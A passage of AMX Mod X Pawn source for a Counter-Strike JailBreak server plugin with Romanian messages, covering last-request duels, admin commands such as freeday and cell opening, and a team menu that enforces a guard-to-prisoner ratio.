        }

        return PLUGIN_HANDLED
}

public cmd_nomic(id)
{
        static CsTeams:team
        team = cs_get_user_team(id)
        if(team == CS_TEAM_CT)
        {
                server_print("JBE Transfered guard to prisoners team client #%i", id)

                if(g_Simon == id)
                        g_Simon = 0

                if(!is_user_admin(id))
                        set_bit(g_PlayerNomic, id)

                user_silentkill(id)
                cs_set_user_team(id, CS_TEAM_T)
        }
        return PLUGIN_HANDLED
}

public cmd_help(id)
{
        if(id > g_MaxClients)
                id -= TASK_HELP

        remove_task(TASK_HELP + id)
        switch(get_bit(g_PlayerHelp, id))
        {
                case(0):
                {
                        set_bit(g_PlayerHelp, id)
                        player_hudmessage(id, 7, 15.0, {230, 100, 10}, "%s", g_HelpText)
                        set_task(15.0, "cmd_help", TASK_HELP + id)
                }
                default:
                {
                        clear_bit(g_PlayerHelp, id)
                        ClearSyncHud(id, g_HudSync[7][_hudsync])
                }
        }
}

/*======================================================
              End FreedayMenu ---> LAST REQUEST
======================================================*/
public cmd_lastrequest(id)
{
        if(g_isDay)
        {
                player_hudmessage(id, 8, 3.0, {0, 255, 0}, "%L", LANG_SERVER, "JBE_CANT_LR")
                return PLUGIN_HANDLED
        }

        if(g_TeamAlive[CS_TEAM_CT] <= 0)
                return PLUGIN_HANDLED

        if(!is_user_alive(g_PlayerLast))
                task_last_duel()

        if(!get_pcvar_num(gp_LastRequest) || g_LastDenied || g_PlayerLast != id || !is_user_alive(id) || g_Duel || GetPlayersNum( 1, 1 ) == 5)
                return PLUGIN_HANDLED

        new Buffer[512]

        formatex(Buffer, charsmax(Buffer), "%L", id, "DUEL_MENU_NAME")
        new menu = menu_create(Buffer, "lastrequest_select")

        if(!PlayDuel)
                formatex(Buffer, charsmax(Buffer), "%L", id, "DUEL_MENU_MONEY")
        else
                formatex(Buffer, charsmax(Buffer), "\d%L", id, "DUEL_MENU_MONEY")
        menu_additem(menu, Buffer, "1")

        if(!PlayDuel)
                formatex(Buffer, charsmax(Buffer), "%L", id, "DUEL_MENU_FREEDAY")
        else
                formatex(Buffer, charsmax(Buffer), "\d%L", id, "DUEL_MENU_FREEDAY")
        menu_additem(menu, Buffer, "2")

        formatex(Buffer, charsmax(Buffer), "%L", id, "DUEL_MENU_KNIFE")
        menu_additem(menu, Buffer, "3")

        formatex(Buffer, charsmax(Buffer), "%L", id, "DUEL_MENU_DEAGLE")
        menu_additem(menu, Buffer, "4")

        formatex(Buffer, charsmax(Buffer), "%L", id, "DUEL_MENU_GRENADE")
        menu_additem(menu, Buffer, "5")

        formatex(Buffer, charsmax(Buffer), "%L", id, "DUEL_MENU_M249")
        menu_additem(menu, Buffer, "6")

        formatex(Buffer, charsmax(Buffer), "%L", id, "DUEL_MENU_AWP")
        menu_additem(menu, Buffer, "7")

        formatex(Buffer, charsmax(Buffer), "%L", id, "DUEL_MENU_SCOUT")
        menu_additem(menu, Buffer, "8")

        /*formatex(Buffer, charsmax(Buffer), "%L", id, "DUEL_MENU_BAGHETE")
        menu_additem(menu, Buffer, "9")*/

        menu_display(id, menu, 0)
        return PLUGIN_HANDLED
}

public lastrequest_select(id, menu, item)
{
        if(g_isDay)
        {
                player_hudmessage(id, 8, 3.0, {0, 255, 0}, "%L", LANG_SERVER, "JBE_CANT_LR")
                return PLUGIN_HANDLED
        }

        if(item == MENU_EXIT || g_PlayerLast != id || !is_user_alive(id) || g_Duel)
        {
                menu_destroy(menu)
                return PLUGIN_HANDLED
        }

        new dst[32], option[128]

        new data[6], iName[64], access, callback
        menu_item_getinfo(menu, item, access, data, 5, iName, 63, callback)

        get_user_name(id, dst, charsmax(dst))

        new key = str_to_num(data)
        switch(key)
        {
                case 1:
                {
                        if(!PlayDuel)
                        {
                                formatex(option, charsmax(option), "Prizonierul %s a ales sa primeasca^n8000 Dolari", dst)
                                player_hudmessage(0, 6, 3.0, {139, 101, 8}, option)

                                cs_set_user_money(id, 8000)
                                user_kill(id)
                                g_Duel = 0
                        }
                        else
                        {
                                chatcolor(id, "%L", id, "DUEL_ALREDY", DUEL_PREFIX)
                                cmd_lastrequest(id)
                        }
                }
                case 2:
                {
                        if(!PlayDuel)
                        {
                                set_bit(g_FreedayAuto, id)
                                user_silentkill(id)

                                formatex(option, charsmax(option), "Prizonierul %s a ales sa primeasca^nZi Libera", dst)
                                player_hudmessage(0, 6, 3.0, {0, 255, 0}, option)
                                g_Duel = 2
                        }
                        else
                        {
                                chatcolor(id, "%L", id, "DUEL_ALREDY", DUEL_PREFIX)
                                cmd_lastrequest(id)
                        }
                }
                case 3:
                {
                        g_Duel = 3
                        menu_players(id, CS_TEAM_CT, 0, 1, "duel_box", "%L", id, "MENU_DUEL_PLAYERS")
                }
                default:
                {
                        g_Duel = key
                        menu_players(id, CS_TEAM_CT, 0, 1, "duel_arme", "%L", id, "MENU_DUEL_PLAYERS")
                }
        }

        menu_destroy(menu)
        return PLUGIN_HANDLED
}

public duel_box(id, menu, item)
{
        if(g_isDay)
        {
                player_hudmessage(0, 8, 3.0, {0, 255, 0}, "%L", LANG_SERVER, "JBE_CANT_LR")
                return PLUGIN_HANDLED
        }

        if(item == MENU_EXIT || g_PlayerLast != id)
        {
                menu_destroy(menu)
                g_LastDenied = 0
                g_Duel = 0
                return PLUGIN_HANDLED
        }

        new dst[32], data[5], access, callback, option[128], player, src[32]

        menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
        get_user_name(id, src, charsmax(src))
        player = str_to_num(data)
        formatex(option, charsmax(option), "%s a ales Duel de Box^nDuel: %s vs %s", src, src, dst)
        player_hudmessage(0, 6, 3.0, {139, 101, 8}, option)

        client_cmd(0, "mp3 play ^"%s^"", game_box)

        if(id > 0 && is_user_connected(id) && is_user_alive(id))
        {
                g_PlayerDuelT = id
                set_user_health(id, 100)
                clear_bit(g_PlayerCrowbar, id)
                strip_user_weapons(id);
                give_item(id, "weapon_knife");
                set_user_noclip(id, 0)
                set_user_godmode(id, 0)
                set_user_gravity(id,1.0)
                set_user_maxspeed(id, 250.0)
                player_glow(id, g_Colors[3])
                jb_strip_user_cold_weapons(id)
        }

        if(player > 0 && is_user_connected(player) && is_user_alive(player))
        {
                g_PlayerDuelCT = player
                strip_user_weapons ( player );
                give_item ( player, "weapon_knife" );
                player_glow(player, g_Colors[2])
                set_user_health(player, 100)
                set_user_maxspeed(player, 250.0)
                set_user_noclip(player, 0)
                set_user_godmode(player, 0)
                set_user_gravity(player,1.0)
                jb_strip_user_cold_weapons(player)
        }

        new crowbar_ent
        while((crowbar_ent=engfunc(EngFunc_FindEntityByString, crowbar_ent, "classname", gCrowbarClassname)) != 0)
                engfunc(EngFunc_RemoveEntity, crowbar_ent)

        g_BlockWeapons = 1
        g_PlayerLast = 0
        g_LastDenied = 1
        g_Duel = 3
        PlayDuel = true

        jail_open()

        set_cvar_string("jbe_shop", "0");
        set_cvar_string("jbe_blockweaponmenu", "0");

        return PLUGIN_HANDLED
}

public cmd_last_start(id, handle, seed)
{
        if(!is_user_alive(id) || !g_Duel)
                return FMRES_IGNORED

        if(g_Duel != 6) // m249
        {
                if(g_Duel == 4)
                        cs_set_user_bpammo(id, CSW_DEAGLE, 1)
                else if(g_Duel == 5)
                        cs_set_user_bpammo(id, CSW_HEGRENADE, 1)
                else if(g_Duel == 7)
                        cs_set_user_bpammo(id, CSW_AWP, 1)
                else if(g_Duel == 8)
                        cs_set_user_bpammo(id, CSW_SCOUT, 1)
        }

        return FMRES_IGNORED
}

public duel_arme(id, menu, item)
{
        if(g_isDay)
        {
                player_hudmessage(0, 8, 3.0, {0, 255, 0}, "%L", LANG_SERVER, "JBE_CANT_LR")
                return PLUGIN_HANDLED
        }

        if(item == MENU_EXIT || g_PlayerLast != id)
        {
                menu_destroy(menu)
                g_LastDenied = 0
                g_Duel = 0
                return PLUGIN_HANDLED
        }

        PlayDuel = true
        new dst[32], data[5], access, callback, option[128], player, src[32]

        menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
        get_user_name(id, src, charsmax(src))

        player = str_to_num(data)

        emit_sound(0, CHAN_AUTO, "jb_pa_sounds/jb_lr.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)

        set_user_health(id, 100)
        set_user_maxspeed(id, 250.0)
        set_user_noclip(id, 0)
        set_user_godmode(id, 0)
        set_user_gravity(id,1.0)
        player_glow(id, g_Colors[3])

        set_user_health(player, 100)
        set_user_maxspeed(player, 250.0)
        set_user_noclip(player, 0)
        set_user_godmode(player, 0)
        set_user_gravity(player,1.0)
        player_glow(player, g_Colors[2])

        set_hudmessage(139, 101, 8, -1.0, 0.6, 0, 6.0, 1.0)

        switch(g_Duel)
        {
                case 4:
                {
                        formatex(option, charsmax(option), "%s a ales Duel de Deagle^nDuel: %s vs %s", src, src, dst)
                        player_hudmessage(0, 6, 3.0, {139, 101, 8}, option)

                        if(id > 0 && is_user_connected(id) && is_user_alive(id))
                        {
                                g_PlayerDuelT = id
                                strip_user_weapons(id)

                                new iEnt = give_item(id, "weapon_deagle")
                                if (is_valid_ent(iEnt))
                                        cs_set_weapon_ammo(iEnt, 1)

                                set_user_health(id, 100)
                                player_glow(id, g_Colors[3])
                        }

                        if(player > 0 && is_user_connected(player) && is_user_alive(player))
                        {
                                g_PlayerDuelCT = player
                                strip_user_weapons(player)

                                new iEnt = give_item(player, "weapon_deagle")
                                if (is_valid_ent(iEnt))
                                        cs_set_weapon_ammo(iEnt, 1)

                                set_user_health(player, 100)
                                player_glow(player, g_Colors[2])
                        }
                        g_Duel = 4
                }
                case 5:
                {
                        formatex(option, charsmax(option), "%s a ales Duel de Grenade^nDuel: %s vs %s", src, src, dst)
                        player_hudmessage(0, 6, 3.0, {139, 101, 8}, option)

                        if(id > 0 && is_user_connected(id) && is_user_alive(id))
                        {
                                g_PlayerDuelT = id
                                strip_user_weapons(id)

                                new iEnt = give_item(id, "weapon_hegrenade")
                                if (is_valid_ent(iEnt))
                                        cs_set_weapon_ammo(iEnt, 1)

                                player_glow(id, g_Colors[3])
                                set_user_health(id, 100)
                        }

                        if(player > 0 && is_user_connected(player) && is_user_alive(player))
                        {
                                g_PlayerDuelCT = player
                                strip_user_weapons(player)

                                new iEnt = give_item(player, "weapon_hegrenade")

                                if (is_valid_ent(iEnt))
                                        cs_set_weapon_ammo(iEnt, 1)

                                player_glow(player, g_Colors[2])

                                set_user_health(player, 100)
                        }
                        g_Duel = 5
                }
                case 6:
                {
                        formatex(option, charsmax(option), "%s a ales Duel de Rambo^nDuel: %s vs %s", src, src, dst)
                        player_hudmessage(0, 6, 3.0, {139, 101, 8}, option)

                        if(id > 0 && is_user_connected(id) && is_user_alive(id))
                        {
                                g_PlayerDuelT = id
                                strip_user_weapons(id)
                                //cs_set_user_bpammo(id, CSW_M249,0)

                                new iEnt = give_item(id, "weapon_m249")
                                if (is_valid_ent(iEnt))
                                        cs_set_weapon_ammo(iEnt, 2000)

                                player_glow(id, g_Colors[3])

                                set_user_health(id, 2000)
                        }

                        if(player > 0 && is_user_connected(player) && is_user_alive(player))
                        {
                                g_PlayerDuelCT = player
                                strip_user_weapons(player)
                                //cs_set_user_bpammo(player, CSW_M249, 0)

                                new iEnt = give_item(player, "weapon_m249")
                                if (is_valid_ent(iEnt))
                                        cs_set_weapon_ammo(iEnt, 2000)

                                player_glow(player, g_Colors[2])

                                set_user_health(player, 2000)
                        }
                        g_Duel = 6
                }
                case 7:
                {
                        formatex(option, charsmax(option), "%s a ales Duel de Awp^nDuel: %s vs %s", src, src, dst)
                        player_hudmessage(0, 6, 3.0, {139, 101, 8}, option)

                        if(id > 0 && is_user_connected(id) && is_user_alive(id))
                        {
                                g_PlayerDuelT = id
                                strip_user_weapons(id)

                                new iEnt = give_item(id, "weapon_awp")
                                if (is_valid_ent(iEnt))
                                        cs_set_weapon_ammo(iEnt, 1)

                                set_user_health(id, 100)
                                player_glow(id, g_Colors[3])
                        }
                       
                        if(player > 0 && is_user_connected(player) && is_user_alive(player))
                        {
                                g_PlayerDuelCT = player
                                strip_user_weapons(player)
                                new iEnt = give_item(player, "weapon_awp")

                                if (is_valid_ent(iEnt))
                                        cs_set_weapon_ammo(iEnt, 1)

                                set_user_health(player, 100)
                                player_glow(player, g_Colors[2])
                        }
                        g_Duel = 7
                }
                case 8:
                {
                        formatex(option, charsmax(option), "%s a ales Duel de Scout^nDuel: %s vs %s", src, src, dst)
                        player_hudmessage(0, 6, 3.0, {139, 101, 8}, option)

                        if(id > 0 && is_user_connected(id) && is_user_alive(id))
                        {
                                g_PlayerDuelT = id
                                strip_user_weapons(id)

                                new iEnt = give_item(id, "weapon_scout")
                                if (is_valid_ent(iEnt))
                                        cs_set_weapon_ammo(iEnt, 1)

                                set_user_health(id, 100)
                                player_glow(id, g_Colors[3])
                        }

                        if(player > 0 && is_user_connected(player) && is_user_alive(player))
                        {
                                g_PlayerDuelCT = player
                                strip_user_weapons(player)

                                new iEnt = give_item(player, "weapon_scout")
                                if (is_valid_ent(iEnt))
                                        cs_set_weapon_ammo(iEnt, 1)

                                set_user_health(player, 100)
                                player_glow(player, g_Colors[2])
                        }
                        g_Duel = 8
                }
                case 9:
                {
                        formatex(option, charsmax(option), "%s a ales Duel de Baghete^nDuel: %s vs %s", src, src, dst)
                        player_hudmessage(0, 6, 3.0, {139, 101, 8}, option)

                        if(id > 0 && is_user_connected(id) && is_user_alive(id))
                        {
                                g_PlayerDuelT = id
                                strip_user_weapons(id)

                                start_magic(id)

                                set_user_health(id, 500)
                                player_glow(id, g_Colors[3])
                        }

                        if(player > 0 && is_user_connected(player) && is_user_alive(player))
                        {
                                g_PlayerDuelCT = player
                                strip_user_weapons(player)

                                start_magic(player)

                                set_user_health(player, 500)
                                player_glow(player, g_Colors[2])
                        }
                        g_Duel = 9
                }
        }

        new crowbar_ent
        while((crowbar_ent=engfunc(EngFunc_FindEntityByString, crowbar_ent, "classname", gCrowbarClassname)) != 0)
                engfunc(EngFunc_RemoveEntity, crowbar_ent)

        g_BlockWeapons = 1
        g_PlayerLast = 0
        g_LastDenied = 1

        jail_open()

        set_cvar_string("jbe_shop", "0");
        set_cvar_string("jbe_blockweaponmenu", "0");

        return PLUGIN_HANDLED
}

public task_last_duel()
{
        if(g_RoundEnd || g_TeamAlive[CS_TEAM_CT] <= 0)
                return PLUGIN_HANDLED

        new TAlive

        for(new i = 0; i <= get_maxplayers(); i++)
        {
                if(!is_user_alive(i))
                        continue

                if(get_user_team(i) == 1)
                        TAlive++
        }

        if(TAlive == 1)
        {
                for(new i = 0; i <= get_maxplayers(); i++)
                {
                        if(!is_user_alive(i))
                                continue

                        if(get_user_team(i) == 1)
                        {
                                g_PlayerLast = i
                                cmd_lastrequest(i)
                                break;
                        }
                }
        }

        set_cvar_string("jbe_blockweaponmenu", "0");
        set_cvar_string("jbe_shop", "0");

        return PLUGIN_CONTINUE
}

public duel_end()
{
        new Duel[256]
        switch(g_Duel)
        {
                case 0: formatex(Duel, charsmax(Duel), "Box")
                case 1: formatex(Duel, charsmax(Duel), "Box")
                case 2: formatex(Duel, charsmax(Duel), "Box")
                case 3: formatex(Duel, charsmax(Duel), "Box")
                case 4: formatex(Duel, charsmax(Duel), "Deagle")
                case 5: formatex(Duel, charsmax(Duel), "Grenazi")
                case 6: formatex(Duel, charsmax(Duel), "M249")
                case 7: formatex(Duel, charsmax(Duel), "Awp")
                case 8: formatex(Duel, charsmax(Duel), "Scout")
                case 9: formatex(Duel, charsmax(Duel), "Magic")
        }

        if(g_PlayerDuelT == 1 && g_PlayerDuelCT >= 1)
        {
                new name[32]
                if(is_user_connected(g_PlayerDuelT) && is_user_alive(g_PlayerDuelT))
                {
                        get_user_name(g_PlayerDuelT, name, charsmax(name))

                        chatcolor(0, "!t[!gLastRequest!t]!y Prizonierul !t[!g%s!t] !ya castigat !tDuelul !yde !t[!g%s!t] !y.", name, Duel)
                        set_user_rendering(g_PlayerDuelT)
                }
                else if(is_user_connected(g_PlayerDuelCT) && is_user_alive(g_PlayerDuelCT))
                {
                        get_user_name(g_PlayerDuelT, name, charsmax(name))

                        chatcolor(0, "!t[!gLastRequest!t]!y Gardianul !t[!g%s!t] !ya castigat !tDuelul !yde !t[!g%s!t] !y.", name, Duel)
                        set_user_rendering(g_PlayerDuelCT)
                }
        }

        if(g_Duel >= 3)
        {
                player_strip_weapons(g_PlayerDuelCT)
                player_strip_weapons(g_PlayerDuelT)
        }

        client_cmd(0, "stopsound")
        set_cvar_string("jbe_shop", "0");
        task_last_duel()

        g_Duel = 0
        g_PlayerDuelT = 0
        g_PlayerDuelCT = 0
        g_LastDenied = 0
        g_PlayerLast = 0
        g_BlockWeapons = 0
}

GetPlayersNum(iTeam, iAlive)
{
        new iPlayersNum;

        for( new iPlayers = get_maxplayers( ); iPlayers > 0; iPlayers-- )
        {
                if( !is_user_connected( iPlayers ) )
                        continue;

                if( get_user_team( iPlayers ) == iTeam && ( is_user_alive( iPlayers ) == iAlive || iAlive == 2 ) )
                        iPlayersNum++;
        }

        return iPlayersNum;
}

stock remove_frozen()
{
        new szPlayers[32]
        new szNum, szPlayer

        get_players(szPlayers, szNum)
        for(new i; i < szNum; i++)
        {
                szPlayer = szPlayers[i]

                if(!is_user_alive(szPlayer) || !is_user_connected(szPlayer))
                        continue

                set_pev(szPlayer, pev_flags, pev(szPlayer, pev_flags) & ~FL_FROZEN)
        }
}
/*======================================================
              End Last Request ---> COMENZI ADMIN
======================================================*/
public adm_freeday(id)
{
        if(g_isDay)
        {
                chatcolor(id, "!g[JailBreak] !yNu poti da !gFreeDay !ypentru ca este in curs o !gZi Speciala !t.")
                return PLUGIN_HANDLED
        }

        if(g_PlayerLast)
        {
                chatcolor(id, "!g[JailBreak]  !yNu poti da !tZi Libera,!y cand este !gUltimul Prizonier!y, !tin !gviata !y!")
                return PLUGIN_HANDLED
        }

        new arg[32], cmd[32];
        read_argv(0,cmd,31);
        read_argv(1,arg,31);

        new player = cmd_target(id,arg,CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF);

        if(get_user_flags(id) & read_flags ("c"))
        {
                new name[32], name2[32];
                get_user_name(id,name,31);
                get_user_name(player,name2, 31);

                if(is_user_connected(player) && cs_get_user_team(player) == CS_TEAM_T)
                {
                        freeday_set(id, player)
                        chatcolor(0, "!y[!gAdminControl!y] !tAdmin-ul !y[!g%s!y] !ya dat zi libera lui !y[!g%s!y].", name, name2)
                        log_to_file("LogJailBreak.log","[ JBE_FREEDAY ] Admin-ul [ %s ] a dat zi libera lui [ %s ].", name, name2)
                        emit_sound(0, CHAN_AUTO, "jb_pa_sounds/jb_clopotel.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
                }
        }
        else
        {
                chatcolor(id, "!y[!gAdminControl!y] !yNu ai !gacces !yla aceasta comanda.")
                return PLUGIN_CONTINUE
        }

        return PLUGIN_HANDLED
}

public adm_nomic(id)
{
        new arg[32], cmd[32];
        read_argv(0,cmd,31);
        read_argv(1,arg,31);

        new player = cmd_target(id, arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF);

        if(id == 0 || get_user_flags(id) & read_flags ("b"))
        {
                new name[32], name2[32];
                get_user_name(id,name,31);
                get_user_name(player,name2, 31);

                if(is_user_connected(player))
                {
                        cmd_nomic(player);
                        chatcolor(0, "!y[!gAdminControl!y] !tAdmin-ul !y[!g%s!y] !yl-a mutat la !gPrizonieri !ype !y[!g%s!y].", name, name2)
                        log_to_file("LogJailBreak.log","[JBE_NOMIC] Admin-ul [ %s ] l-a mutat la T pe [ %s ].", name, name2)
                }
        }
        else
        {
                chatcolor(id, "!y[!gAdminControl!y] !yNu ai !gacces !yla aceasta comanda.")
                return PLUGIN_CONTINUE
        }

        return PLUGIN_HANDLED;
}

public adm_open(id)
{
        if(get_user_flags(id) & ADMIN_ACCESS)
        {
                new nume[18]
                get_user_name(id, nume, 17)

                chatcolor(0, "!y[!gAdminControl!y] !tAdmin-ul !y[!g%s!y] !ya folosit !y[!gjbe_open!y].", nume)
                log_to_file("LogJailBreak.log","[JBE_OPEN] Admin-ul [ %s ] a deschis celulele prin JBE_OPEN ",nume)

                emit_sound(0, CHAN_AUTO, "jb_pa_sounds/jb_open.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)

                jail_open()
        }
        else
        {
                chatcolor(id, "!y[!gAdminControl!y] !yNu ai !gacces !yla aceasta comanda.")
                return PLUGIN_CONTINUE
        }

        return PLUGIN_HANDLED
}

public adm_box(id)
{
        if(g_PlayerLast)
        {
                chatcolor(id, "!t[!gBox!t] !yNu poti activa !tBox,!y cand este !gUltimul Prizonier!y, !tin !gviata !y!")
                return PLUGIN_HANDLED
        }

        if(get_user_flags(id) & ADMIN_ACCESS)
        {
                new nume[16]
                get_user_name(id, nume, 15)

                chatcolor(0, "!y[!gAdminControl!y]!y Admin-ul !y[!g%s!y] !ya folosit !g[!yjbe_box!g].", nume)
                log_to_file("LogJailBreak.log","[ JBE_BOX ] Admin-ul [ %s ] a dat BOX prin JBE_BOX ", nume)

                cmd_box(id)
        }
        else
        {
                chatcolor(id, "!y[!gAdminControl!y] !yNu ai !gacces !yla aceasta comanda.")
                return PLUGIN_CONTINUE
        }

        return PLUGIN_HANDLED
}

public adm_boxoff(id)
{
        if(g_PlayerLast)
        {
                chatcolor(id, "!t[!gBox!t] !yNu poti dezactiva !tBox,!y cand este !gUltimul Prizonier!y, !tin !gviata !y!")
                return PLUGIN_HANDLED
        }

        if(get_user_flags(id) & ADMIN_ACCESS)
        {
                new nume[16]
                get_user_name(id, nume, 15)
       
                chatcolor(0, "!y[!gAdminControl!y]!y Admin-ul !y[!g%s!y] !ya folosit !g[!yjbe_boxoff!g].", nume)
                log_to_file("LogJailBreak.log","[ JBE_BOX ] Admin-ul [ %s ] a dat BOX-OFF prin JBE_BOXOFF ", nume)

                cmd_boxoff(id)
        }
        else
        {
                chatcolor(id, "!y[!gAdminControl!y] !yNu ai !gacces !yla aceasta comanda.")
                return PLUGIN_CONTINUE
        }

        return PLUGIN_HANDLED
}

public FreeDayALL(id)
{
        g_Simon = 0

        chatcolor(0, "!g[Jb.Play-Arena.Ro] !gFreeDay ALL!y a fost dat !gAUTOMAT !ypentru aceasta!g Zi Speciala.");

        check_freeday(TASK_FREEDAY)
}
/*======================================================
              END COMENZI ADMIN ---> Team Menu
======================================================*/
public show_team_menu(id)
{
        if(inround < 30)
        {
                if(!user[id])
                {
                        if(cs_get_user_team(id) != CS_TEAM_SPECTATOR && cs_get_user_team(id) != CS_TEAM_T && cs_get_user_team(id) != CS_TEAM_CT)
                        {
                                cs_set_user_team(id, 3)
                                user_kill(id)
                        }

                        static menu, szText[ 555 char ];
                        menu = menu_create( "\wMeniu Echipe \yJb.Play-Arena.Ro:^n\rRatie: \d[\w3\d] \rPrizonieri \w- \d[\w1\d] \yGardian", "team_choice" );

                        formatex( szText, charsmax( szText ), "\rPrizonieri \y[\d%d\y]", g_TeamAlive[CS_TEAM_T] );
                        menu_additem( menu, szText, "1")

                        if(get_user_flags(id) & read_flags("x") || get_user_flags(id) & read_flags("a") || get_player_num(TEAM_CT, AL_BOTH) <= get_player_num(TEAM_T, AL_BOTH)/4
                                || g_TeamCount[CS_TEAM_CT] == 0 || g_TeamCount[CS_TEAM_T] > 5 && g_TeamCount[CS_TEAM_CT] == 1|| g_TeamCount[CS_TEAM_T] > 8 && g_TeamCount[CS_TEAM_CT] == 2 || g_TeamCount[CS_TEAM_T] > 11 && g_TeamCount[CS_TEAM_CT] == 3 || g_TeamCount[CS_TEAM_T] > 14 && g_TeamCount[CS_TEAM_CT] == 4 || g_TeamCount[CS_TEAM_T] > 17 && g_TeamCount[CS_TEAM_CT] == 5
                                || g_TeamCount[CS_TEAM_T] > 20 && g_TeamCount[CS_TEAM_CT] == 6)
                        {
                                formatex( szText, charsmax( szText ), "\yGardieni \r[\d%d\r]^n^n", g_TeamAlive[CS_TEAM_CT] );
                                menu_additem( menu, szText, "2")
                        }
                        else
                                menu_additem( menu, "Gardieni \r[Ocupat]^n^n","2", ADMIN_ADMIN);

                        menu_additem( menu, "\yVizitatori penitenciar", "3")

                        menu_display ( id , menu )
                }
                else
                        client_print(id, print_center, "[Play-Arena] Ti-ai schimbat odata echipa runda asta !!!")
        }
        else if(get_user_flags(id) & read_flags("a") || get_user_flags(id) & read_flags("x"))
        {
                if(!user[id])
                {
                        static menu, szText[ 555 char ];
                        menu = menu_create( "\wMeniu Echipe \yJb.Play-Arena.Ro:^n\rRatie: \d[\w3\d] \rPrizonieri \w- \d[\w1\d] \yGardian", "team_choice" );

                        formatex( szText, charsmax( szText ), "\rPrizonieri \y[\d%d\y]", g_TeamAlive[CS_TEAM_T] );
                        menu_additem( menu, szText, "1")

                        formatex( szText, charsmax( szText ), "\yGardieni \r[\d%d\r]^n^n", g_TeamAlive[CS_TEAM_CT] );
                        menu_additem( menu, szText, "2")

                        menu_additem( menu, "\yVizitatori \rPenitenciar", "3")

                        menu_display ( id , menu )
                }
        }
        else
        {
                if(cs_get_user_team(id) != CS_TEAM_SPECTATOR && cs_get_user_team(id) != CS_TEAM_T && cs_get_user_team(id) != CS_TEAM_CT)
                {
                        cs_set_user_team(id, 3)
                        user_kill(id)
                }
                else
                        client_print(id, print_center, "[Play-Arena] Nu poti intra in timpul rundei !!!")
        }

        return PLUGIN_HANDLED
}

public team_choice ( id , menu , item )
{
        static dst [ 32 ], data [ 5 ], access , callback
        static restore, vgui
        if( item == MENU_EXIT )
        {
                menu_destroy ( menu )
                return PLUGIN_HANDLED
        }

        restore = get_pdata_int(id, m_iVGUI)
        vgui = restore & (1<<0)
        if(vgui)
                set_pdata_int(id, m_iVGUI, restore & ~(1<<0))
        menu_item_getinfo ( menu , item , access , data , charsmax ( data ), dst , charsmax ( dst ), callback )
        menu_destroy ( menu )
       
        switch( data [ 0 ])
        {
                case('1'):
                {
                        if(inround < 30)
                        {
                                if(!user[id] && is_user_connected(id))
                                {
                                        if(cs_get_user_team(id) == CS_TEAM_T)
                                                show_team_menu ( id )
                                        else
                                        {
                                                new msgblock = get_msg_block(get_user_msgid ( "ShowMenu" ))
                                                set_msg_block(get_user_msgid ( "ShowMenu" ), BLOCK_ONCE)
                                                engclient_cmd(id, "jointeam", "1")
                                                engclient_cmd(id, "joinclass", "1")
                                                if(cs_get_user_team(id) != CS_TEAM_T)
                                                {
                                                        cs_set_user_team(id, 1)
                                                        user_kill(id)
                                                }
                                                set_msg_block(get_user_msgid ( "ShowMenu" ), msgblock)
                                                user[id] = true
                                                new name[32]
                                                get_user_name(id, name, 31)
                                        }
                                }
                                else
                                        client_print(id, print_center, "[Play-Arena] Nu poti intra in timpul rundei !!!")
                        }
                        else if(get_user_flags(id) & read_flags("x") || get_user_flags(id) & read_flags("a"))
                        {
                                if(cs_get_user_team(id) == CS_TEAM_T)
                                        show_team_menu ( id )
                                else
                                {
                                        new msgblock = get_msg_block(get_user_msgid ( "ShowMenu" ))
                                        set_msg_block(get_user_msgid ( "ShowMenu" ), BLOCK_ONCE)
                                        engclient_cmd(id, "jointeam", "1")
                                        engclient_cmd(id, "joinclass", "1")
                                        if(cs_get_user_team(id) != CS_TEAM_T)
                                        {
                                                cs_set_user_team(id, 1)
                                                user_kill(id)
                                        }
                                        set_msg_block(get_user_msgid ( "ShowMenu" ), msgblock)
                                        user[id] = true
                                        new name[32]
                                        get_user_name(id, name, 31)
                                }
                        }
                        else
                                client_print(id, print_center, "[Play-Arena] Nu poti intra in timpul rundei !!!")
                }
                case('2'):
                {
                        if(inround < 30)
                        {
                                if(!user[id] && is_user_connected(id))
                                {
                                        if(cs_get_user_team(id) == CS_TEAM_CT)
                                                show_team_menu ( id )
                                        else
                                        {
                                                if(get_user_flags(id) & read_flags("x") || get_user_flags(id) & read_flags("a") || get_player_num(TEAM_CT, AL_BOTH) <= get_player_num(TEAM_T, AL_BOTH)/4
                                                        || g_TeamCount[CS_TEAM_CT] == 0 || g_TeamCount[CS_TEAM_T] > 5 && g_TeamCount[CS_TEAM_CT] == 1|| g_TeamCount[CS_TEAM_T] > 8 && g_TeamCount[CS_TEAM_CT] == 2 || g_TeamCount[CS_TEAM_T] > 11 && g_TeamCount[CS_TEAM_CT] == 3 || g_TeamCount[CS_TEAM_T] > 14 && g_TeamCount[CS_TEAM_CT] == 4 || g_TeamCount[CS_TEAM_T] > 17 && g_TeamCount[CS_TEAM_CT] == 5
                                                        || g_TeamCount[CS_TEAM_T] > 20 && g_TeamCount[CS_TEAM_CT] == 6)
                                                {
                                                        new msgblock = get_msg_block(get_user_msgid ( "ShowMenu" ))
                                                        set_msg_block(get_user_msgid ( "ShowMenu" ), BLOCK_ONCE)
                                                        engclient_cmd(id, "jointeam", "2")
                                                        engclient_cmd(id, "joinclass", "1")
                                                        if(cs_get_user_team(id) != CS_TEAM_CT)
                                                        {
                                                                cs_set_user_team(id, 2)
                                                                user_kill(id)
                                                        }
                                                        set_msg_block(get_user_msgid ( "ShowMenu" ), msgblock)
                                                        user[id] = true
                                                        new name[32]
                                                        get_user_name(id, name, 31)
                                                }
                                                else
                                                {
                                                        show_team_menu ( id )
                                                        client_print(id, print_center, "[Play-Arena] Sunt prea multi Gardieni !!!")
                                                }
                                        }
                                }
                                else
                                        client_print(id, print_center, "[Play-Arena] Ti-ai schimbat odata echipa runda asta !!!")
                        }
                        else if(get_user_flags(id) & read_flags("x") || get_user_flags(id) & read_flags("a"))
                        {
                                new msgblock = get_msg_block(get_user_msgid ( "ShowMenu" ))
                                set_msg_block(get_user_msgid ( "ShowMenu" ), BLOCK_ONCE)
                                engclient_cmd(id, "jointeam", "2")
                                engclient_cmd(id, "joinclass", "1")
                                if(cs_get_user_team(id) != CS_TEAM_CT)
